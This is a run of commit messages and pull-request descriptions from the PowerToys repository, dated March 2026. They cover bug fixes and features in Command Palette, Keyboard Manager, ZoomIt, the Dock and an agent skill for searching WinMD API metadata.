<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

Updated all download section descriptions and all links under the "items
that need to be updated release to release" comment, which updates the
download section links themselves.

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Tested all download links to confirm they have been updated correctly:

<img width="418" height="392" alt="image"
src="https://github.com/user-attachments/assets/09628863-7681-4e71-9d31-bc9bb4bb91c1"
/>
2026-03-11 10:20:49 +00:00
Kai Tao
da3b12d536 Pipeline: Pipeline failed due to restore fail, fix it (#46062)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
As title
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-11 03:28:43 +00:00
Niels Laute
bab77edd11 [Dock] Add pin instructions (#46052)
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

<img width="549" height="341" alt="image"
src="https://github.com/user-attachments/assets/e09e3686-1ffd-4929-8828-061a4aa42fbb"
/>

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-10 22:37:51 -04:00
Jiří Polášek
414ee86fb3 CmdPal: make RDP fallback non-global by default (#46053)
## Summary of the Pull Request

This PR makes RDP fallback non-global by default.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-10 22:37:01 -04:00
Gordon Lam
eeeb6c0c93 feat(winmd-api-search): add WinMD cache generator script and related files (#45606)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Adds a new Copilot agent skill (`winmd-api-search`) that lets AI agents
discover and explore Windows desktop APIs by searching a local cache of
WinMD metadata. The skill covers Windows Platform SDK, WinAppSDK/WinUI,
NuGet package WinMDs, and project-output WinMDs — providing full API
surface details (types, members, enumeration values, namespaces) without
needing external documentation lookups.

**Key components:**

- `.github/skills/winmd-api-search/SKILL.md` — Skill definition with
usage instructions, search/detail workflows, and scoring guidance
- `scripts/Invoke-WinMdQuery.ps1` — PowerShell query engine supporting
actions: `search`, `type`, `members`, `enums`, `namespaces`, `stats`,
`projects`
- `scripts/Update-WinMdCache.ps1` — Orchestrator that builds the C#
cache generator, discovers project files, and runs the generator
- `scripts/cache-generator/CacheGenerator.csproj` + `Program.cs` — .NET
console app using `System.Reflection.Metadata` to parse WinMD files from
NuGet packages, project references, Windows SDK, and packages.config
into per-package JSON caches
- `scripts/cache-generator/Directory.Build.props`,
`Directory.Build.targets`, `Directory.Packages.props` — Empty isolation
files to prevent repo-level Central Package Management and build targets
from interfering with this standalone tool

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx <!-- Replace with issue number if applicable -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass — N/A: This is an offline
agent skill (PowerShell + standalone .NET tool) with no integration into
the main product build or runtime. Validated manually by running the
cache generator across multiple project contexts (ColorPickerUI,
CmdPal.UI, runner, ImageResizer, etc.) and exercising all query actions.
- [ ] **Localization:** All end-user-facing strings can be localized —
N/A: No end-user-facing strings; this is an internal developer/agent
tool
- [ ] **Dev docs:** Added/updated — The SKILL.md itself serves as the
documentation
- [ ] **New binaries:** Added on the required places — N/A: The cache
generator is a standalone dev-time tool, not shipped in the installer
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: N/A

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

### Cache Generator (`Program.cs`, ~1000 lines)

A self-contained .NET console app that:

1. **Discovers WinMD sources** from four channels:
   - `project.assets.json` (PackageReference — modern .csproj/.vcxproj)
   - `packages.config` (legacy NuGet format)
- `<ProjectReference>` bin/ output (class libraries producing `.winmd`)
   - Windows SDK `UnionMetadata/` (highest installed version)

2. **Parses WinMD files** using `System.Reflection.Metadata` /
`PEReader` to extract:
- Types (classes, structs, interfaces, enums, delegates) with full
namespace
- Members (methods with decoded signatures/parameters, properties with
accessors, events)
   - Enum values
   - Base types and type kinds

3. **Outputs per-package JSON** under `Generated Files/winmd-cache/`:
- `packages/<Id>/<Version>/meta.json` — package summary
(type/member/namespace counts)
   - `packages/<Id>/<Version>/namespaces.json` — ordered namespace list
- `packages/<Id>/<Version>/types/<Namespace>.json` — full type detail
per namespace
- `projects/<ProjectName>.json` — maps each project to its package set

4. **Deduplicates** at the package level — if a package+version is
already cached, it's skipped on subsequent runs.

### Build Isolation

Three empty MSBuild files (`Directory.Build.props`,
`Directory.Build.targets`, `Directory.Packages.props`) in the
cache-generator folder prevent the repo's Central Package Management and
shared build configuration from interfering with this standalone tool.

### Query Engine (`Invoke-WinMdQuery.ps1`)

Supports seven actions: `search` (fuzzy text search across
types/members), `type` (full detail for a specific type), `members`
(filtered members of a type), `enums` (enumeration values), `namespaces`
(list all namespaces), `stats` (cache statistics), and `projects` (list
cached projects with their packages).

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

1. **Cache generation:** Ran `Update-WinMdCache.ps1` across 310+ project
files in the repo — 8 packages parsed, 316 reused from cache, all
completed without errors
2. **Query testing on multiple projects:**
   - `ColorPickerUI` — verified Windows SDK baseline (7,023 types)
- `Microsoft.CmdPal.UI.ViewModels` (after restore) — verified 13
packages, 49,799 types, 112,131 members including WinAppSDK,
AdaptiveCards, CsWinRT, Win32Metadata
   - `runner` (C++ vcxproj) — verified packages.config fallback path
   - `ImageResizerExt` — verified project reference WinMD discovery
3. **All seven query actions validated:** `stats`, `search`,
`namespaces`, `type`, `enums`, `members`, `projects` — all returned
correct results
4. **Spell-check compliance:** SKILL.md vocabulary reviewed against
repo's check-spelling dictionaries; replaced flagged words with standard
alternatives

---------

Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-03-11 10:15:32 +08:00
Jaylyn Barbee
70e082ce4f [Keyboard Manager] Replace text update (#46046)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Doing multiple text replacements in a row was unresponsive and laggy.
This PR addresses that issue.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46031 

## Validation steps
- Tested before according to the above issue, observed the bug
- Tested and refined the experience manually both locally and with the
exe from the CI build
2026-03-10 21:31:14 -04:00
Niels Laute
8404bfbebb CmdPal-New extension - Show error when path does not exist (#46037)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

If path does not exist, error message is shown vs nothing

<img width="1194" height="899" alt="image"
src="https://github.com/user-attachments/assets/ee40e49c-185c-418a-9815-1ad46d976a0e"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #38320
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-10 15:07:39 -04:00
Jiří Polášek
77412d1961 Settings: Add a solution filter for PowerToys Settings UI and related projects (#46036)
## Summary of the Pull Request

This PR adds a solution filter for projects related to PowerToys
Settings

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-10 15:05:28 -04:00
Niels Laute
fad5a3ac69 Adding NEW tag to KBM and Dock (#46048)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<img width="325" height="206" alt="image"
src="https://github.com/user-attachments/assets/aab57a42-747d-4437-9326-2b9cfcdc8b80"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
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<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-10 14:59:48 -04:00
Niels Laute
52cab7058a [CmdPal DetailsView] Resetting scroll upon selection (#46038)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

To test:
- Open WinGet, search for PowerToys
- Select an option, scroll down in the DetailsPage
- Use the arrow code to select up / down

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #38334
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-10 19:47:51 +01:00
Niels Laute
35a3c55f29 [CmdPal] Minor string tweaks (#46040)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Before:
<img width="1198" height="718" alt="image"
src="https://github.com/user-attachments/assets/79a23cb3-93c6-4960-afc5-60c147f8ae92"
/>

After:
<img width="1175" height="716" alt="image"
src="https://github.com/user-attachments/assets/c4ea1e2d-ad47-4203-a77a-99f22bcfb448"
/>

<img width="630" height="434" alt="image"
src="https://github.com/user-attachments/assets/8ad1d424-2907-4599-965d-1193effaf7bd"
/>

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #38730 (a lot of the suggestions there were already
resolved.
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
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- [ ] **Dev docs:** Added/updated
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installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Copilot <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
2026-03-10 19:47:38 +01:00
Kai Tao
ed16ae7b2a Zoomit: Fix a issue that after trim, the video can't be saved and we can't start a new recording session (#46034)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

The bug was caused by a resource lifetime issue between the recording
phase and the save/trim phase. After a recording stopped,
StartRecordingAsync moved directly into the save workflow while it was
still holding the temporary recording stream and the active recording
session objects, later file operations in the save flow could fail
against that same file. Once that happened, ZoomIt could end up stuck in
a bad state where the first save did not complete cleanly and subsequent
recording attempts would no longer start until ZoomIt was restarted.



<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
As title
- [ ] Closes: #46006
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
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- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
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for new binaries
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installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Validated locally recording works fine when trimmed
2026-03-10 16:41:15 +01:00
Niels Laute
f049cc5839 Setting MinWidth on Shortcut user control (#46035)
Closes: #45683
2026-03-10 10:37:09 +00:00
Kai Tao
f82fb2a411 Newplus: Change the built-in newplus status will trigger error (#46029)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fix #46026
<!-- Please review the items on the PR checklist before submitting-->

## PR Checklist

- [ ] Closes: #46026
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
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- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

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wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed



https://github.com/user-attachments/assets/9150c15e-6478-46f2-92fa-771cdcc0ad01
2026-03-10 16:58:46 +08:00
Jiří Polášek
90131e35d9 CmdPal: Prevent unsynchornized access to More commands (#46020)
## Summary of the Pull Request

This PR fixes a crash caused by unsynchronized access to a context menu:

- Fixes `System.ArgumentException: Destination array was not long
enough` crash in `CommandItemViewModel.AllCommands` caused by
`List<T>.AddRange()` racing with background `BuildAndInitMoreCommands`
mutations
- Replaces mutable `List<T>` public surfaces with immutable array
snapshots protected by a `Lock`; writers hold the lock, mutate the
backing list, then atomically publish new snapshots via `volatile`
fields that readers access lock-free
- Applies the same snapshot pattern to `ContentPageViewModel`, using a
bundled `CommandSnapshot` object for atomic publication (since
`PrimaryCommand` drives command invocation there, not just UI hints)
- Narrows `IContextMenuContext.MoreCommands` and `AllCommands` from
`List<T>`/`IEnumerable<T>` to `IReadOnlyList<T>` to prevent consumers
from casting back and mutating
- Moves `SafeCleanup()` calls outside locks in cleanup paths to avoid
holding the lock during cross-process RPC calls

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45975 
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
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installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-09 17:34:44 -05:00
Jiří Polášek
77355ef2fb CmdPal: change visibility of a search box before bailing out (#46021)
## Summary of the Pull Request

This PR ensures the search box visibility is correctly set by moving the
assignment before the short-circuit bail-out when the window is no
longer visible.

Regressed in 4959273

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46019 
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
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- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-09 17:32:57 -05:00
Jiří Polášek
a130969d0a CmdPal: Fix selection desync when clearing search query (#45949)
## Summary of the Pull Request

A single search-text change produces multiple ItemsUpdated callbacks. A
later soft update (ForceFirstItem=false) could overwrite the prior
force-first intent, restoring a stale sticky selection.

- Adds latched _forceFirstPending flag that survives across successive
ItemsUpdated passes until selection stabilizes or user navigates;
- Fixes scroll position on first-item reselection via UpdateLayout +
ScrollToItem + ResetScrollToTop in the deferred callback.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45948 
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-09 15:12:53 -04:00
Jaylyn Barbee
d1605640ca [Keyboard Manager] Adding KBM to shortcut list on Dashboard page (#45938)
Found during manual testing
Open (new) Keyboard Manager shortcut is now shown in the "Shortcuts"
menu when the module is enabled and the new editor is being used.
<img width="1453" height="1367" alt="image"
src="https://github.com/user-attachments/assets/05de4337-9420-460c-b579-8f471a49d4f6"
/>
2026-03-09 19:06:56 +01:00
Noraa Junker
9859fb6196 Enhance bug report template with file upload option (#46015)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Adds an upload field for the bug report ZIP-file to the bug report issue
template.

<img width="982" height="157" alt="image"
src="https://github.com/user-attachments/assets/5b7175d7-eacf-4748-93e8-304a027de005"
/>

## PR Checklist

<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected

---------

Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-03-09 18:18:25 +01:00
Mike Griese
3bd85efc56 CmdPal: update template project to 0.9 (#46010)
Update the template project to the
[0.9.260303001](https://www.nuget.org/packages/Microsoft.CommandPalette.Extensions/0.9.260303001)
SDK
2026-03-09 12:01:26 +00:00
Jiří Polášek
f8453214fb CmdPal: add locking TopLevelCommandManager.DockBands (#45898)
## Summary of the Pull Request

- Put enumeration of DockBands in
TopLevelCommandManager.ExtensionService_OnExtensionRemoved under correct
lock
- Return a snapshot of the dock bands list to prevent reading DockBands
without lock outside of TopLevelCommandManager

## PR Checklist

- [x] Closes: #45893
2026-03-09 06:48:58 -05:00
Kai Tao
0aca7c292c Cursor Wrap: Reverse the wrap mode (hold ctrl or shift) to wrap (#46009)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Currently, hold ctrl or shift to disable wrap, which is inverse with
existing similar thing in mouse without borders,
reverse the behavior, so we hold ctrl or shift to wrap.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #46005
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Verified locally, everything works as expected, hold ctrl and shift will
trigger the wrap, other wise not if select the corresponding option
2026-03-09 12:21:24 +01:00
Jiří Polášek
c6f1a09fa2 CmdPal: Handle an empty icon in dock items (#45968)
## Summary of the Pull Request

This PR allows dock to handle items without an icon better:

- Hides the icon element when a dock item is not visible and center text
labels in vertical dock modes.
- Adds an icon to clock dock wrapper, so it appears in settings.
- Stretches buttons with icon and labels in the vertical docks to the
full width.
- Fixes `IconInfoViewModel.IconForTheme` method implementation.

## Pictures? Pictures!

Horizontal Dock:

<img width="393" height="84" alt="image"
src="https://github.com/user-attachments/assets/d12aa406-da9d-4bd2-b464-595deab41d2e"
/>

<img width="390" height="105" alt="image"
src="https://github.com/user-attachments/assets/c28d65c0-1023-47d0-9ff5-85c74a18c342"
/>


Vertical Dock:

<img width="153" height="258" alt="image"
src="https://github.com/user-attachments/assets/e1be59d9-fa1f-4a24-b0c1-e8cff4211906"
/>

Settings:

<img width="1266" height="713" alt="image"
src="https://github.com/user-attachments/assets/722d47da-c668-4df2-9f1d-bf7808333be4"
/>



<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45955
2026-03-09 06:17:56 -05:00
Jiří Polášek
